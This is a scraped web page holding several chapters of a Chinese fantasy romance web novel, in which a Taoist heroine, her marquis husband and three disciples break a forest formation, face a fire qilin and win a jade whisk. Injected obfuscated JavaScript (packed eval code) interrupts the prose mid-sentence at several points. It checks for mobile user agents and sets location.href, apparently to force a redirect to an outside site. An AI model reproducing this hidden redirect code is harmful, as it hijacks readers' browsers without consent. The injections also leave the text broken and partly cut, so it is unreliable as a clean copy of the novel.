“什么声音?”流星眼睛瞪得像铜铃,却还一脸懵。 “是我姐的声音。”白虎无论何时听到这嗓音,都会吓出一身冷汗。 流星听到朱雀清醒了一些,“朱雀?现在是什么时辰了?” “辰时了。”一旁的慕怀瑾一面穿上外袍,一面道,“我们快出去吧,否则那两位夫人和小姐要闹我们了。” 还不待流星与白虎反应,帐篷外果然又响起了朱雀的声音,“还不起来?我进来把你们耳朵都拽掉!” 朱雀的话音刚落,帐篷门帘便突然一一掀,流星嬉皮笑脸地出现在朱雀面前。 “早啊朱雀!嘿嘿…” 白虎则战战兢兢地蹲在流星身后,小心翼翼地探头望向朱雀,“姐…姐…我们起来了…” 朱雀立即扬手作势要朝他们搧去,“都什么时辰了还敢说!” 流星白虎迅速弯身,一溜烟从她身侧溜走。 而紧随其后出现的,正是她的师夫慕怀瑾的脸。 朱雀:“!!!” 朱雀连忙收手,向慕怀瑾大大鞠了一躬,“侯爷恕罪!” 好险!差一点就搧在侯爷脸上了。 “无碍。”慕怀瑾的神色依然是那般沉稳泰然,直起身便从帐篷中走了出去。 朱雀赶忙转身跑去徐莞身后立好,流星白虎见此暗舒一口气,站到了慕怀瑾身后。 徐莞与朱雀向他们望去,但见慕怀瑾的精神略显疲惫,下巴上浮现出一片淡淡的胡渣,但这些却丝毫无损他沉稳冷峻的气度。 流星与白虎的面庞更是憔悴,鬓发散乱,衣衫邋遢,眼下都多出一片青黑,像是几日没休息过一般。 望见三人这副形容,徐莞与朱雀的心也不禁软了下来。 昨晚真是将他们累坏了。今日抓紧夺得玉拂尘,他们就能回府好好休息! 想罢,徐莞行至慕怀瑾身前,抬手用浸湿的帕子轻柔地帮他擦擦脸。 “怀瑾休息的如何?今日可有精神随我寻得玉拂尘?” 小娇妻靠自己那么近,用如此温柔的语气对自己嘘寒问暖,让慕怀瑾的心都化了。 若不是有旁边还有人在看着,他真想将她搂进怀中,狠狠疼爱。就算再累再辛苦,慕怀瑾都觉得值了。 “为夫神清气爽,精力十足。今日定陪你将玉拂尘收入我们囊中。” “好!”徐莞莞尔一笑,又转向朱雀白虎和流星,“你们呢?” “谨遵师父/夫人吩咐!夺得玉拂尘!” “好!我们这就出发!” 按照昨晚山精们给的提示,慕徐等五人收拾好行囊后,便向灵屿山东面进发。 东面生长着一片白桦树林。高大纤细的树干,像一群窈窕淑女垂首默立。剥落的树皮在树干上蜿蜒出深浅不一的纹路。 树冠凝着细碎的冰晶,阳光穿透时整个林子便闪烁起来,仿佛漫天星辰坠落人间。 五人在这如梦似幻的林间风景中游走,可走了半晌,却依然未找到丝毫玉拂尘的踪迹。 且朱雀手中的八卦罗盘,一直不停地乱转,让他们完全失去了方向,反复在这林间打转。 “师父,这已是我第三次看见这块石头了。我们是不是一直在原地打转?” 朱雀停下脚步,踢了踢脚边的一块大石,面露焦虑之色。 “难道我们遇到了鬼打墙?”白虎略略紧张道。 徐莞淡然摇摇头,“非也,还没有哪只鬼能用鬼打墙困住我。” 慕怀瑾思忖着说:“难道是我们已走进了山精所说的阵法中?” “还得是怀瑾。”徐莞赞赏地笑望向他,“我们应是已进入了紫霄观祖师爷所设的阵法中。而我在此阵中走了三遍,是因为要找到阵眼。” “阵眼?”四人疑惑反问。 徐莞点点头,边走边解释道:“对,阵眼关乎如何破阵。只要找到阵眼,此阵立时可破。” “那菀菀你可有发现?” 徐莞一面向前走着,一面观察着四周林中之景,道: “想要找到阵眼,需以天地为盘,草木作卦。东方震位乃一参天古木,其根须虬结如龙,木气冲霄,当为生门所在。 西方兑位有巨岩嶙峋,金石之音铿锵,暗合天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099910|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位肃杀。 南方离位藤蔓缠成八卦纹,风过处叶动成爻。 瀑布自北方坎位飞流直下,潺潺绕树三匝,暗合‘水木清华’之局。” 她每说一个方位,便向那方望去。慕怀瑾等四人也皆循着她的目光而去,所见之景与她描述的完全一致。 “...当正午的纯阳之光,照射在艮位潮湿的沼泽地之时,投下的光影恰呈九宫之形。此乃木克土、水生木之相。 阵眼势必在那片沼泽与巨岩交界的阴阳交汇处,那里的苔痕呈太极双鱼状,正是天地气脉流转之眼。” 徐菀这一番颇为专业的道门五行之术讲解,在读过《道门全书》的朱雀和慕怀瑾听来甚是振奋人心。好似在她侃侃而谈说出此番话时,整个人都在闪闪发光。 但对于白虎跟流星来说,徐菀乌鲁乌鲁说了一大堆,无异于对牛弹琴,听得他们一头雾水。 什么清华,什么双鱼,沼泽与巨岩之间的为啥就是阵眼? 虽然他们不懂其中缘由,但好歹还是听懂了阵眼所在。 “师父,您是说阵眼就在沼泽和那块岩石中间?”白虎问。 “没错。过去看看。” 话毕,四人即刻跟着徐菀向那个方向而去。 离那个方向越近,八卦罗盘的的指针抖得就越厉害。 朱雀双眸一瞬不瞬紧盯着罗盘,但见他们走到某个位置时,罗盘指针忽然疾速转了一圈,而后定定指向南方。 “师父!罗盘停下了!” 徐菀从她手中接过罗盘定睛一看,随后即刻抬眼望去,目光蓦地定在正前方一棵高大的白桦树上。 “找到了!这棵树就是阵眼!” 随后,徐菀将罗盘递给朱雀,从小荷包中取出一道银色符纸,猛地向那棵白桦树掷去。 只见银符似有磁性般,嗖地便贴在了白桦树干上。 徐菀则双手结印放在额前,轻闭双眼默念咒语,片刻后指尖竟发出一抹金光。 就在此时,徐菀蓦地睁开眼,将手指指向那棵白桦树,那团金光也倏地向树干飞去,正中符纸中心! 第392章 392.破阵进洞 一团金光自徐莞指尖飞出,正正击中银符中央。 只听一阵银铃般清脆的乐声过后,整片树林忽然刮起强风,树上的枝叶在劲风中沙沙作响,甚至他们脚下的山地都在抖动。 “阵法开始变动,大家站稳了,不要去碰那些树!”徐莞高声向他们嘱咐道。 慕怀瑾忙上前一步来到徐莞身侧扶住她。流星与白虎也都赶到朱雀身旁。 五人**在一起互相搀扶着,就在此时,他们身边的树林开始变化。 只见一棵棵白桦树似有生命般活了过来,挥舞着枝叶在山林间移动。 五人旋即背靠背立在一起,防止那些树枝偷袭伤到他们。 好在这些白桦树并无攻击他们的意思,只是飞快地在他们周围变换位置。 半晌,那些白桦树仿佛找到了它们各自的位置,终于不动了。 那种地动山摇之感也逐渐平息,四周再次恢复平稳安静, 而他们附近的十几棵树都移到了远处,四周竟变成了一片宽阔平坦的山地。 “师…师父…这是什么!”白虎略略颤抖的嗓音从徐莞背后传来。 众人即刻转身望去,但见之前阵眼的位置,此时竟变成一个硕大的山洞,昏暗又幽深,仿佛随时会有未知的危险从中奔出,定定望着它时,又好似会将人吞没。 “玉拂尘难道就在这山洞中?”慕怀瑾开口道。 他的话音刚落,流星便抬步向山洞中走去。 “你要做什么!”徐莞立刻喝止 流星停下脚步,回身向她道:“玉拂尘应该就在这山洞中。夫人,请让在下先去一探一二。” “不要去!”朱雀突然喊道,上前拉住他的手臂劝道:“这山洞中还不知有何危险。你别着急,等师父吩咐后再行动。” 流星侧头望着朱雀,望见她眸子里真切的关心与担忧,流星的心似有钝刀划过般愧疚难当。 为了不破坏自己的计划,不过早暴露自己的身份,流星只好轻咬下唇,强自按捺下万千心绪,微微点了点头,退回到朱雀身边。 随后,众人再次望向徐菀。 “菀菀,你可探到了什么?我们能进去吗?”慕怀瑾问。 方才在他们争执时,徐菀沉下心探了片刻,已大致知晓这山洞中有何物了。 “玉拂尘就在里面。”徐菀望着山洞道:“山精们所说的大怪兽也在里面,但不足为惧。 走吧我们进去,待会儿你们见机行事,各自保护好自己的安全便可。” 话毕,徐菀昂首挺胸,面上带着胸有成竹的笑,打头向山洞内而去。 其余四人相视一眼,也都深吸一口气,冷静地跟着徐菀走了进去。 山洞洞道幽长,隐隐有向下的趋势。越往里走,光线越暗,但周围温度却逐渐暖和了起来。 流星与白虎点起火折子拿在手中,将前方的路照亮。 可借着火光看清洞道两侧的情景时,白虎不由得暗暗倒抽一口气。 “师父...这洞壁上是...” “是烧焦的痕迹。”慕怀瑾接口道,亦在细细打量着洞壁上焦黑的痕迹。 白虎还未反应过来,脚下不知被何物一绊,登时嗷叫一声,面朝下摔了下去。 “哎呦!” 可他摔下之后却没有感受到想象中的疼,而是摔在了一堆面袋子似的东西上面,并且一股刺鼻的焦味立时钻进他的鼻腔。 白虎拿起掉在一旁的火折子,凑到眼前将身下的东西定睛一看,顿时如摸了电门蹭地一下跳了起来。 “啊啊啊!救命啊!**!是怎么都是**啊!” 这时,立在白虎不远处的流星,高高举起手中的火折子,身旁几人这才看清前方那恍如修罗场般的一幕。 但见前方的洞道地上,每隔一段距离,便横七竖八地躺着一些被烧焦的尸体。 大部分尸体能看出已有了些年头,骨头已化为灰黑色的焦炭。 剩下的一些尸体似乎是最近才烧死在此处的,肉身还有些未腐蚀殆尽。 白虎方才恰好摔在几具未腐蚀殆尽的尸体上,这才未摔伤,但却沾了满身的血污。 白虎爬起身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16103685|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后连忙将外袍脱掉,生怕那些尸体上的污秽之物让他染上什么病。 “呕!恶心**!这里怎么会有那么多尸首?” 白虎将外袍扔在地上,双臂却还忍不住在身上来回蹭,想到方才的一幕,他就汗**竖立。 “这些都是从前前来寻宝,却被火麒麟烧死的道士。”徐莞望着那些尸首,眸中一派平静。 朱雀敏锐地捕捉到她话中的关键,“师父你说什么?火麒麟?” “对,你们没感觉到越往里走越热了吗?山精们说的怪兽,就是火麒麟。” “啊啊啊!火麒麟!”白虎又像被什么扎到一般,在他们周围大叫乱跑,“那我们一会儿不是也要像这些人一样,被火麒麟烧**?师父你有办法吗?” 慕怀瑾侧头望向徐莞,同样一副泰然自若之态,“当然,菀菀自然有她的办法。” 徐莞闻言向慕怀瑾望去,明白他已经猜到了她的破解之法,于是不禁向他会心一笑。 知妻莫若夫。 不愧是她的夫君慕怀瑾啊。 “你们怕了吗?敢不敢与本观主一起,进去会会那火麒麟?” 流星上前一步道:“既然夫人已有办法,流星自然愿随您一同前往,捉拿火麒麟,夺取玉拂尘!” “我也去师父!”朱雀也站了出来,一把揪住白虎的耳朵,“别喊了!你不敢去就出去!别在这里碍我们的事!” 白虎立马呲牙咧嘴地求饶,“嗷嗷嗷我错了姐姐!师父…我去!我去!” “好,那我们速战速决,继续走吧!” 随后,五人继续雄赳赳气昂昂向山洞内走去。 果然如徐莞所说,越往里走气温越高,此时已热的他们外袍都穿不住了。 纷纷将外袍脱下,从地上捡起两根粗树枝,将衣袍缠上去,用火折子点燃做了两支火把。 又走了一盏茶的功夫,前方的空间忽然开阔。 流星和白虎将火把举高,发现此处竟似一座宫殿一般大,上方的洞顶也很高,目测约有二十多米,洞壁上布满了烧焦的痕迹。 第393章 393.与火麒麟谈判 洞内高约二十来米,有一座宫殿那么大,其中十分空旷,洞壁皆是焦黑的痕迹。 但洞内却静悄悄的,未有丝毫火麒麟出没的迹象。 “师父,此处这么黑,火麒麟真在这里吗?” 白虎的话音刚落,徐莞便突然向他嘘了一声,“嘘!别说话!”而后侧过头去认真倾听起来。 众人也不由得因她此举紧张起来,警惕地望向四周,谨防火麒麟突然出现向他们发起攻击。 就在几人皆噤声聆听时,慕怀瑾忽然低声道:“你们可有感觉,脚下的土地在微微颤动。” 流星仔细感应一番,也感觉到了那种微微的战栗,“是的侯爷。这下面确实好像有什么东西。” 紧接着,不等他们再去感觉,地面的颤抖越来越强烈,而他们也猜到了接下来将要发生的事。 “火麒麟要出来了!大家小心!” 徐莞一声高喝,五人即刻默契地向四周散开。 就在他们分散开的同时,山洞中央的地面突然炸开,一团极其耀眼的火光,轰然从中飞了出来。 石块与泥土也随之乱飞,几人忙背过身去抬手护住头部,腾起的灰尘弥漫在整个山洞中,遮蔽了他们的视线。 待这股震荡渐渐缓下来,几人小心地转身望去,透过逐渐消散的灰尘望去,一只高约八米的庞然大物出现在了众人眼前。 它的外形像一匹高大骏马,脖颈上却长着龙首,周身覆盖着金灿灿的龙鳞,龙鳞外又燃着熊熊烈火。 龙首上两根胡须随着他的抖动而轻晃,就连喷出的鼻息都带着火。 龙口一张,发出震耳欲聋的龙吟,那血盆大口,简直可将他们五人一次全横着吞下去。 而此时,这只庞然大物正用它那金红色如铜铃般的眼睛怒视着他们,下一刻便仰首一声咆哮,扬蹄向他们奔来。 “大家小心!” 不待慕怀瑾喊出,火麒麟已向着流星和朱雀的方向疾速冲去。 二人反应迅速,齐齐动作敏捷地向两旁躲闪。 麒麟一头撞在洞壁之上,又是一阵地动山摇。 “师父你说的对付火麒麟的办法是什么?快使出来啊!” 望见这恐怖的一幕,白虎向徐莞崩溃大喊。 “还不是时候。”徐莞并未侧头就回了他一句,“我要先问问它玉拂尘的情况。” “什么?!”白虎猛地转头盯住徐莞,“你问它它还能对你说话不成?” 白虎的话音刚落,徐莞便对着火麒麟喊了出来,“麒麟大仙!在下乃青云观观主徐莞!特奉师命前来寻找玉拂尘,涤清紫霄观!” 正准备向他们冲来的火麒麟,听她提到青云观,动作一顿,竟从龙口中吐出人话来。 “你是青云观观主?” 这句话将白虎流星等人魂都要震飞了。 什么?!这只畜牲居然会说人话?! 紧接着下一瞬,麒麟竟蓦然转头瞪向白虎,“你才是畜牲!你这个小畜生本大仙今日定要教教你做人!” 白虎:“!!!” 啊咧咧!麒麟不仅能说人话,还能听到他的心声哇! “我错啦!麒麟大仙我错啦!” 白虎欲哭无泪,一边喊着,一边躲到最近的慕怀瑾身后。 眼看着麒麟盛怒之下,就要向自己冲来,慕怀瑾学着徐莞的方式,向麒麟高声道: “麒麟大仙等等!徒儿年纪尚小不通礼数,若有得罪,在下替他赔罪,望大仙见谅。” 麒麟望见慕怀瑾,再次蓦地停住脚步,“你又是何人?”语声中带着淡淡的惊讶与好奇。 众人见此皆怔愣了片刻。火麒麟竟然会对慕怀瑾手下留情。这到底是什么情况? 慕怀瑾本人也有些意外,不知麒麟如此问是为何意。 不过他还是按着礼数回道:“在下盛国永嘉侯慕怀瑾。青云观观主徐莞是我夫人。” “永嘉侯?” 火麒麟慢条斯理地重复着,用一种探究的眼神望着他,在慕怀瑾前方缓缓踱步,之后忽然深深嗅了一口气,开口道: “为何本大仙在你身上嗅到了一股紫气?” 慕怀瑾疑迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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徐菀也趁机劝道:“麒麟大仙,青云观祖师爷与紫霄观祖师爷的交情不用我多说。另外,我师父仙逝之前也嘱咐我拿到玉拂尘后,辅佐慕怀瑾创造太平盛世。 麒麟大仙火眼金睛,定能看出我们是否心诚。哦对了,我这儿还有一块儿火髓,不知大仙您可愿品尝?” 第394章 394.收获玉拂尘 “麒麟大仙,我这里还有一块火髓。听闻您平生最爱食的就是火髓了。不知大仙您可愿品尝一二。” 徐莞说着,从小荷包中慢慢取出那块,在赤炎山找到的火髓。 听到火髓的那一刻,火麒麟的眸子便瞬间亮起。 随着徐莞将包裹火髓的麒麟皮一点点剥开,露出那块散发着金红色光芒之物时,火麒麟即刻兴奋起来。 “果真是火髓!” 它待在这灵屿山上数百年,这山中的火髓早已被它吃光,所以它已有很久没品尝过火髓的味道了。 麒麟最爱以火髓为食,因此看到这火髓,它连道都走不动了。 “这是在何处得来的?”火麒麟激动地冲到徐莞面前,兴致勃勃问。 徐莞一看它的表情,便知火麒麟已经上钩了,于是拿着火髓继续在它鼻端晃悠,循循善诱。 “此物乃我等先前在盛国西北的赤炎山中寻到的。在下愿将此送给大仙,以表诚意。” 麒麟绕着徐莞慢慢开始踱步,目光却一直紧随着那块火髓,嘴角逐渐开始分泌出口水,滴滴答答地往下掉。 那口水落在洞底的土地上,竟刺啦一声,将地表烧出一个坑。 这一幕将正巧立在旁侧的白虎吓得连忙跳到一边,仔细望去,原来火麒麟连口水都像岩浆一般滚烫粘稠。 “你真愿意将火髓送给我?”火麒麟幽幽问。 “千真万确!”徐莞开始画大饼,“这火髓在赤炎山中还有很多。大仙若是愿意,我等可将那山中的火髓全挖来任您享用。” 麒麟望了望她,又望了望火髓,似在思忖着什么。 紧接着下一瞬,它突然伸长脖颈,张开血盆大口,一口便将徐莞手中的火髓吞了下去。 徐莞迅速收回手去,转了半个身躲过。慕怀瑾也瞬间移到徐莞身边问道:“菀菀你怎么样?可有伤到?” 徐莞摇摇头,向他轻松道:“我没事。” 几人回过头望向火麒麟时,它已将那块火髓吞入口中,嚼吧嚼吧咽了下去,面上浮现出一派幸福却意犹未尽之态。 “嗯~太好吃了,本大仙有快一百年没吃过火髓了,太香了~” 吃完之后,火麒麟再次睁眼垂头望向他们,“你们真知道何处有火髓?” 慕怀瑾道:“大仙请放心,我等不敢诓骗您。况且您方才也品尝了那块火髓,应能辨认出是真是假。” 火麒麟似乎对慕怀瑾的回答很是满意,点点头道:“嗯,谅你们也不敢诓骗本大仙。” 说着,火麒麟又垂眸睨了慕怀瑾几眼,道:“看在你身负紫气,又有火髓的份上,本大仙便将玉拂尘交给你吧。” 话毕,他们眼前的火麒麟竟渐渐缩小,直至缩到与马儿一般大小。 紧接着,它从口中吐出一物,嘭的落在慕怀瑾身前的土地上。 众人定睛望去,但见此物由一根玉杆及一把白须构成,通体呈淡青色,在火麒麟火光的照耀下,流转着莹润柔和的微光。顶端的白须顺滑油亮,根根分明,似有星辰在其上闪烁。 正是道门中人梦寐以求的玉拂尘! “这就是玉拂尘?”流星双眸一瞬不瞬望着地上的玉拂尘,第一个开口问。 “没错,”火麒麟道:“玉拂尘采崂山地髓之玉,与麒麟之须制成。一只麒麟仅有两条须。此玉拂尘上少说也有上百根须,需百只麒麟才得以制成。汇百只麒麟的神力于其上,法力无边。” 白虎亦看得两眼放光,“哇太厉害了。谁若是拿到这玉拂尘,是不是谁就是天下第一了?” 没成想,麒麟竟傲娇地摇了摇头,“非也。玉拂尘只有在贤德慈悲,胸怀天下之人手中,才能发挥出它的神力。若是心怀恶念,妄图利用玉拂尘满足自己的私欲,则会被它反噬。” “这样啊。我师父跟侯爷绝对是大慈大悲,心怀天下的人,交给他们准没错!是不是和师父?” 白虎笑嘻嘻地向徐菀献媚,徐菀忍住笑意丢给他一个白眼,“人家麒麟大仙说了,玉拂尘是给侯爷的,不是给我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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徐莞手持玉拂尘轻轻一挥,数道青光从中倏然飞出,撞在远处的洞壁上,轰然炸出一道沟壑,泥土与石块乱飞。 “喔!”朱雀白虎齐齐发出一阵惊呼,“玉拂尘的威力竟然这么大!” 徐莞亦难以置信地望着手中的玉拂尘,“是啊,我也没想到。” 慕怀瑾神情振奋地望着她,“有了这玉拂尘,今后任何妖魔鬼怪、邪魔歪道都不足为惧。” 徐莞重重点头,几人面上皆是心愿达成的欣喜与骄傲。 而后,慕徐二人再次向火麒麟道谢,便准备走了。 “多谢麒麟大仙。那我等便告辞了。待我等取回火髓会再来送给大仙。” 火麒麟应道:“好,走吧。” 说着,便昂起龙首,打头向山洞出口走去。 在场的五人:“???” 它走我们前面做什么? 慕怀瑾率先反应过来,赶上前去问道:“大仙,您也要出山洞吗?” 火麒麟转过头,理所当然道:“是啊,不是要走了吗?” 慕怀瑾等人又愣了愣,似乎意识到了这火麒麟想做什么。 慕怀瑾略略不可思议地问:“大仙的意思是,要跟我们一起离开灵屿山?” 火麒麟都被他们问的没了耐心,“对啊。本大仙都说了要辅佐你共创太平盛世,自然要随你们一起走。” “那这…”面对此种情况,慕怀瑾都有些不知所措。 他们若是带着一只火麒麟回京,不知会是何种场面... 火麒麟好似又听到了他的心声,不耐烦解释道:“放心吧,本大仙会将自己藏好,危难关键之时才会现身。” 慕怀瑾又望了一眼徐莞,后者对他点点头,慕怀瑾才放下心来,“好,那大仙请随我们同去。” 话毕,由麒麟大仙打头,五人跟在它身后,再次沿着洞道缓缓而出。 在此一路上,火麒麟将周身的火稍稍收敛了些,足以照亮洞道,却不似方才那般灼热。徐菀等人也终于能靠近它一些了。 性子活泼的白虎,又好奇地来到火麒麟身边问:“麒麟大仙,您能让身上的火散了吗?让我摸摸您的龙鳞吗?您一身的龙鳞看起来美极了。” 经过此番与火麒麟的接触,白虎明白了这只火麒麟与人一样,喜欢听人变着花夸奖它。说好听话正好是白虎的强项。 这不,一听白虎夸它的龙鳞美极了,麒麟大仙心里也美了起来,故作傲娇地扬起龙头睨了白虎一眼,道: “哼,谅你这黄毛小子也没见过本大仙流光溢彩的龙鳞。如此,便让你看看吧。” 麒麟说着抖了抖身子,周身的火势又小了一些,随后渐渐熄了下去。 谁料,火势熄灭之后,火麒麟的周身并未暗下去,反而散发出一阵明亮柔和的光芒。 众人定睛望去,但见火麒麟周身的龙鳞,竟流转着七彩如彩虹般的光芒,在黑暗中流光溢彩。 “哇!太美了吧!麒麟大仙,您的鳞片在发光!”白虎眼睛都看花了,忍不住连连赞叹。 慕怀瑾与徐菀等人,也都目不转睛地望着火麒麟的鳞片,不由得为这难得一见的美景而惊叹。 望见他们几人的表情,火麒麟心中越发骄傲,眨了眨纤长的睫毛,眼中尽是得意。 待他们从山洞中出来,火麒麟的鳞片在阳光下又变成了银白色,甚是神奇。 而后,慕怀瑾提议道:“我们再回到上岛的那个码头,那里有船。我们重新坐船返回村子。” 众人皆无异议,便准备跟随他继续抬步而行。 这时,火麒麟又开始发话,“为何要如此麻烦?本大仙直接带你们飞过去岂不是更快?” 徐菀听罢一拍脑袋,她怎把这一茬忘了。 麒麟天生神力,可承载比他的体重重数倍之物,就算他们五人全都骑在麒麟背上,它也能驮得动。 “直接带我们飞出去?”慕怀瑾将信将疑。 火麒麟不再与他废话,直接用鼻子将他一顶,便将他顶飞起来,在空中翻了个跟头后,稳稳坐在了火麒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121353|165054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麟的背上。慕怀瑾本人都惊讶不已。 “你们几个还在磨蹭什么?还不赶紧上来?” 火麒麟一面说着,一面弯曲四条腿半跪在地上降低高度。 一听还能骑火麒麟在天上飞,朱雀白虎流星兴奋得差点在地上跳起来。 慕怀瑾率先向徐菀伸出手。徐菀拉住慕怀瑾的手,再踩在火麒麟的前腿处一用力便蹬了上去,坐在慕怀瑾身前。 接下来便是白虎朱雀和流星依次骑上火麒麟的背。 五人都坐好之后,火麒麟缓缓起身。五人不由得抓紧身下的鳞片,再互相抱紧,防止自己掉下去。 待他们都做好准备后,火麒麟望准北方,稍稍后退几步,紧接着前蹄高扬,助跑几步便腾地飞了出去。 飞出去的一瞬,五人皆不由得发出一声大喊,“啊——”。朱雀甚至吓得闭上了眼睛。 火麒麟起飞的劲头过猛,五人只感觉一阵强大的压迫感向自己袭来,压得他们抬不起头,甚至无法呼吸。 周遭的疾风撕扯着他们的面庞与衣衫,似要将他们撕烂一般。 不过少倾之后,火麒麟上升的趋势一缓,周遭的压迫感顿时减小,风也停了。 徐莞缓缓抬起头,睁开眼,眼前所见之景不禁令她惊艳到屏住呼吸。 只见火麒麟已带着他们飞到了云层之上,他们的脚下尽是大块大块如棉絮般的云朵。在阳光的映照下,呈现出粉橘色柔软动人的状态。 透过云层向下望去,可见一座绿意盎然的岛屿,浮在桑海之上。正是他们方才所处的灵屿山。 不时有仙鹤成行自灵屿山上空略过,从上方望去,整座灵屿山云雾缭绕,美得神秘又如梦似幻。 “那就是灵屿山吗?”朱雀惊叹地问。 流星坐在她身后,双臂紧紧环住她,将她搂在怀中,“没错,我们方才就是从那边飞出来的。” “天呐!我在天上飞啊哈哈哈!”他们前方的白虎忽然张开双臂兴奋地大叫,“多谢麒麟大仙!我爱你!” 第396章 396.流星夺走玉拂尘 徐莞也被白虎的情绪感染,不禁张开双臂,向着前方湛蓝无垠的苍穹,以及下方景色宜人的大好河山,发出一阵畅快的大叫。 “啊——怀瑾!我希望我们都平平安安!得偿所愿!” 徐莞头一回如此直率地将自己的情绪表达出来,倒是让慕怀瑾有些意外。 他坐在徐莞身后,双臂环住她的腰保护着她,下巴不由得搁在她肩上,在她耳边低低笑道: “如此奔放的菀菀,我倒是头一回见。” 徐莞喊罢,缓着气息侧过头,“你也可以试试嘛,喊出来真的很舒服。仿佛胸中的郁结之气,都尽数排空了,整个人都能轻松不少。” 慕怀瑾不自觉地摇了摇头,“我还是不了吧。” 他一位堂堂八尺男儿,又是沉稳冷峻的侯爷,怎能像白虎那般随意大喊大叫。 况且他本人也不是那种性子,让他当着其他人的面大喊,他自己都觉得别扭。 徐菀从他那略略尴尬的表情中,似乎猜到了他心中所想。 “这有何关系。此地只有我们五人,还有麒麟大仙。我们都不会将你放肆大喊的事说出去。 况且我们一生能有几回骑着麒麟在天上飞的机会,何不趁着此时好好放松一下?偶尔也要尝试一下自己未做过的事嘛,否则怎值得来这人世间走一遭?” 徐菀的话不禁让慕怀瑾有些触动。 没错。凡人在世也就数十年光景,若是因畏首畏尾而不敢去尝试,待到白头迟暮时往往悔恨不已。 偶尔尝试一下那些离经叛道之事,才不枉来这世间走这一遭。 更何况是徐菀邀请,他怎能忍心拒绝? 思及此,慕怀瑾定下心神,缓缓点了点头,而后深吸一口气,排空脑中杂念,下一刻便张口放声大喊。 “啊——!” 这声高昂浑厚的嗓音,让朱雀白虎等人不由得为之一震。 什么!侯爷居然也跟他们一样不顾形象地大叫? 这还是他们认识的侯爷吗? 就连座下的火麒麟都被慕怀瑾这声大叫吓得一歪,差点将他们甩下去。 但这些丝毫未影响慕怀瑾的心情。 因为这声大喊简直太太太爽了! 数月以来压在他心头的烦闷与担忧,仿佛都随着那声大喊飞到了九霄云外。 长长地喊过之后,再深深吸入一股空中清新微凉的空气,仿若胸中心肺都被涤荡一清,整个人无比轻盈畅快。 徐菀听到他的叫声后,不禁哈哈笑了起来。白虎流星等人,也再次跟着慕怀瑾一齐欢叫高喊。 一时间,五人高亢嘹亮的呼喊声,以及欢欣畅爽的笑声,在桑海上空回荡。 待火麒麟载着他们飞到桑海岸边停下时,慕怀瑾等人的情绪依然高涨。 “方才飞得真是太爽了!我都不想下来了。”白虎意犹未尽地说。 朱雀笑道:“这话说的,难不成还想让麒麟大仙直接驮着你飞回京城不成?” “哈哈哈哈哈哈...” 此话引得众人一阵大笑,火麒麟也懊恼地跺跺蹄子,傲娇地扭过头去不看白虎,并送上一句“想得美!” 众人的笑声过后,慕怀瑾转过身向火麒麟问道:“大仙,前面就是村子了。您可有法子将自己隐藏起来?” 火麒麟点头道:“你们用玉拂尘向我施法,我便可化为手掌大小被揣入袖中。如此便不会被人发现。” “好。”慕怀瑾应道,随后示意徐菀用玉拂尘向火麒麟施法。 徐菀将玉拂尘从小荷包中取出,浅浅施了个缩小术,再手握玉拂尘向火麒麟一挥,火麒麟便由骏马大小再次缩小。 几人的目光也随着它低头望去,但见火麒麟缩着缩着,最后竟仅有三寸长短,如同屋中**架上摆放的精致雕塑。 “哇真变得如同手掌大小了,好生可爱呀。” 朱雀蹲下身将火麒麟抱起托在掌心,望着变得小巧可爱的火麒麟,爱不释手。 此时,几人的目光也都不约而同聚焦在火麒麟身上。其中却有一道阴沉的目光,投向了徐菀手中的玉拂尘上。 就在四人沉浸在好奇中时,徐菀只觉身旁一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 